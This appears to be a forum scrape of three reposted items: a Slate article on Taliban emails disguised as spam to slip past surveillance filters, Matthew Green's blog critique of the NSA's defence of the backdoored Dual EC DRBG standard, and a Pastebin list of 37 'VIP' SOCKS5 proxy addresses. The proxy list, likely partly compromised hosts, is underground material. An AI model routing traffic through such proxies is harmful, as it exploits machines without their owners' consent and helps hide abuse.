Terrorists Made Their Emails Seem Like Spam to Hide From Intelligence Agencies By Lily Hay Newman Maybe there's something meaningful hidden in my spam folder. Image from Gmail During David Petraeus and Paula Broadwell's affair, the two would communicate by leaving notes in the drafts folder of a private Gmail account. As a covert communication method it didn't really, um, work. But points for effort! There are other ways to hide (or at least try to hide) emails in plain sight, too. And a recent paper recounts one method the Taliban tried shortly after the 9/11 attacks. First spotted by Quartz, cryptologist and former NSA officer Michael Wertheimer's paper "Encryption and the NSA Role in International Standards" includes an anecdote about how the NSA wised up to a strategy of turning real emails into spam. By writing messages with spam-like subject lines, combatants were attempting to exploit surveillance filters so that instead of being combed, the messages would be sorted into the spam folder abyss. Wertheimer explains that during operations in Afghanistan, the U.S. was able to analyze some laptops formerly owned by Taliban members. He says: In one case we were able to retrieve an email listing in the customary to/from/subject/date format. There was only one English language email listed. The “to” and “from” addresses were nondescript (later confirmed to be combatants) and the subject line read: CONSOLIDATE YOUR DEBT. From a surveillance perspective, Wertheimer writes that this highlights the importance of filtering algorithms. Implementing them makes parsing huge amounts of data easier, but it also presents opportunities for someone with a secret to figure out what type of information is being tossed out and exploit the loophole. The new trend in affair protocol could be sending love notes with subject line "Pain-free penis enlargement!" Future Tense is a partnership of Slate, New America, and Arizona State University. Sursa: http://www.slate.com/blogs/future_tense/2015/01/15/after_9_11_laptops_showed_that_taliban_members_had_hidden_messages_in_spam.html

Hopefully the last post I'll ever write on Dual EC DRBG I've been working on some other blog posts, including a conclusion of (or at least an installment in) this exciting series on zero knowledge proofs. That's coming soon, but first I wanted to take a minute to, well, rant. The subject of my rant is this fascinating letter authored by NSA cryptologist Michael Wertheimer in February's Notices of the American Mathematical Society. Dr. Wertheimer is currently the Director of Research at NSA, and formerly held the position of Assistant Deputy Director and CTO of the Office of the Director of National Intelligence for Analysis. In other words, this is a guy who should know what he's talking about. The subject of Dr. Wertheimer's letter is near and dear to my heart: the alleged subversion of NIST's standards for random number generation -- a subversion that was long suspected and apparently confirmed by classified documents leaked by Edward Snowden. The specific algorithm in question is called Dual EC DRBG, and it very likely contains an NSA backdoor. Those who've read this blog should know that I think it's as suspicious as a three dollar bill. Reading Dr. Wertheimer's letter, you might wonder what I'm so upset about. On the face of it, the letter appears to express regret. To quote (with my emphasis): With hindsight, NSA should have ceased supporting the Dual_EC_DRBG algorithm immediately after security researchers discovered the potential for a trapdoor. In truth, I can think of no better way to describe our failure to drop support for the Dual_EC_DRBG algorithm as anything other than regrettable. The costs to the Defense Department to deploy a new algorithm were not an adequate reason to sustain our support for a questionable algorithm. Indeed, we support NIST’s April 2014 decision to remove the algorithm. Furthermore, we realize that our advocacy for the Dual_EC_DRBG casts suspicion on the broader body of work NSA has done to promote secure standards. I agree with all that. The trouble is that on closer examination, the letter doesn't express regret for the inclusion of Dual EC DRBG in national standards. The transgression Dr. Wertheimer identifies is merely that NSA continued to support the algorithm after major questions were raised. That's bizarre. Even worse, Dr. Wertheimer reserves a substantial section of his letter for a defense of the decision to deploy Dual EC. It's those points that I'd like to address in this post. Let's take them one at a time. 1: The Dual_EC_DRBG was one of four random number generators in the NIST standard; it is neither required nor the default. It's absolutely true that Dual EC was only one of four generators in the NIST standard. It was not required for implementers to use it, and in fact they'd be nuts to use it -- given that overall it's at least two orders of magnitude slower than the other proposed generators. The bizarre thing is that people did indeed adopt Dual EC in major commercial software packages. Specifically, RSA Security included it as the default generator in their popular BSAFE software library. Much worse, there's evidence that RSA was asked to do this by NSA, and were compensated for their compliance. This is the danger with standards. Once NIST puts its seal on an algorithm, it's considered "safe". If the NSA came to a company and asked it to use some strange, non-standard algorithm, the request would be considered deeply suspicious by company and customers alike. But how can you refuse to use a standard if your biggest client asks you to? Apparently RSA couldn't. 2: The NSA-generated elliptic curve points were necessary for accreditation of the Dual_EC_DRBG but only had to be implemented for actual use in certain DoD applications. This is a somewhat misleading statement, one that really needs to be unpacked. First, the original NSA proposal of Dual EC DRBG contained no option for alternate curve points. This is an important point, since its the selection of curve points that give Dual EC its potential for a "back door". By generating two default points (P, Q) in a specific way, the NSA may have been able to create a master key that would allow them to very efficiently decrypt SSL/TLS connections. If you like conspiracy theories, here's what NIST's John Kelsey was told when he asked how the NSA's points were generated: In 2004-2005, several participants on the ANSI X9 tools committee pointed out the potential danger of this backdoor. One of them even went so far as to file a patent on using the idea to implement key escrow for SSL/TLS connections. (It doesn't get more passive aggressive than that.) In response to the discovery of such an obvious flaw, the ANSI X9 committee immediately stopped recommending the NSA's points -- and relegated them to be simply an option, one to be used by the niche set of government users who required them. I'm only kidding! Actually the committee did no such thing. Instead, at the NSA's urging, the ANSI committee retained the original NSA points as the recommended parameters for the standard. It then added an optional procedure for generating alternative points. When NIST later adopted the generator in its SP800-90A standard, it mirrored the ANSI decision. But even worse, NIST didn't even bother to publish the alternative point generation algorithm. To actually implement it, you'd need to go buy the (expensive) non-public-domain ANSI standard and figure it out to implement it yourself: This is, to paraphrase Douglas Adams, the standards committee equivalent of putting the details in the bottom of a locked filing cabinet stuck in a disused lavatory with a sign on the door saying 'Beware of the Leopard'. To the best of our knowledge, nobody has ever used ANSI's alternative generation procedure in a single one of the many implementations of Dual EC DRBG in commercial software. It's not even clear how you could have used that procedure in a FIPS-certified product, since the FIPS evaluation process (conducted by CMVP) still requires you to test against the NSA-generated points. 3. The trapdoor concerns were openly studied by ANSI X9F1, NIST, and by the public in 2007. This statement has the benefit of being literally true, while also being pretty damned misleading. It is true that in 2007 -- after Dual EC had been standardized -- two Microsoft researchers, Dan Shumow and Neils Ferguson openly raised the alarm about Dual EC. The problem here is that the flaws in Dual EC were not first discovered in 2007. They were discovered much earlier in the standardization process and nobody ever heard about them. As I noted above, the ANSI X9 committee detected the flaws in Dual EC as early as 2004, and in close consultation with NSA agreed to address them -- in a manner that was highly beneficial to the NSA. But perhaps that's understandable, given that the committee was anything but 'open'. In fact, this is an important aspect of the controversy that even NIST has criticized. The standardization of these algorithms was conducted through ANSI. And the closed ANSI committee consisted of representatives from a few select companies, NIST and the NSA. No public notice was given of the potential vulnerabilities discovered in the RNG. Moreover, a patent application that might have shone light on the backdoor was mired in NSA pre-publication review for over two years. This timeline issue might seem academic, but bear this in mind: we now know that RSA Security began using the Dual EC DRBG random number generator in BSAFE -- as the default, I remind you -- way back in 2004. That means for three years this generator was widely deployed, yet serious concerns were not communicated to the public. To state that the trapdoor concerns were 'openly' studied in 2007 is absolutely true. It's just completely irrelevant. In conclusion I'm not a mathematician, but like anyone who works in a mathematical area, I find there are aspects of the discipline that I love. For me it's the precision of mathematical statements, and the fact that the truth or falsity of a statement can -- ideally -- be evaluated from the statement itself, without resorting to differing opinions or understandings of the context. While Dr. Wertheimer's letter is hardly a mathematical work, it troubles me to see such confusing statements in a publication of the AMS. As a record of history, Dr. Wertheimer's letter leaves much to be desired, and could easily lead people to the wrong understanding. Given the stakes, we deserve a more exact accounting of what happened with Dual EC DRBG. I hope someday we'll see that. Posted by Matthew Green at 2:02 PM Sursa: http://blog.cryptographyengineering.com/2015/01/hopefully-last-post-ill-ever-write-on.html

[h=1]16-01-15 | VIP Socks 5 (37)[/h] 16-01-15 | VIP Socks 5 (37) Checked & filtered 108.61.199.192:52159 109.214.194.248:40557 120.149.52.133:46698 144.76.4.211:11486 147.156.208.150:8020 170.163.116.108:80 173.176.202.55:39559 174.7.63.126:41263 180.153.139.246:8888 184.155.230.151:44911 198.27.67.24:53193 199.36.221.3:51328 205.237.251.209:13884 206.188.209.38:8080 206.206.85.37:28672 207.66.105.37:11944 209.33.80.159:46768 221.132.35.5:2214 46.4.88.203:9050 58.160.148.1:54931 61.147.67.2:9125 61.15.158.32:57809 63.141.227.91:7504 67.187.241.140:22465 67.232.19.137:51816 70.173.38.183:19102 72.133.32.186:24412 73.29.157.190:24521 74.100.219.155:40866 76.190.129.189:37506 76.8.6.186:29803 77.120.246.195:48059 77.242.22.254:8741 84.38.227.212:2235 84.40.9.22:50027 92.247.235.170:40325 97.101.240.83:21729 Sursa: 16-01-15 | VIP Socks 5 (37) - Pastebin.com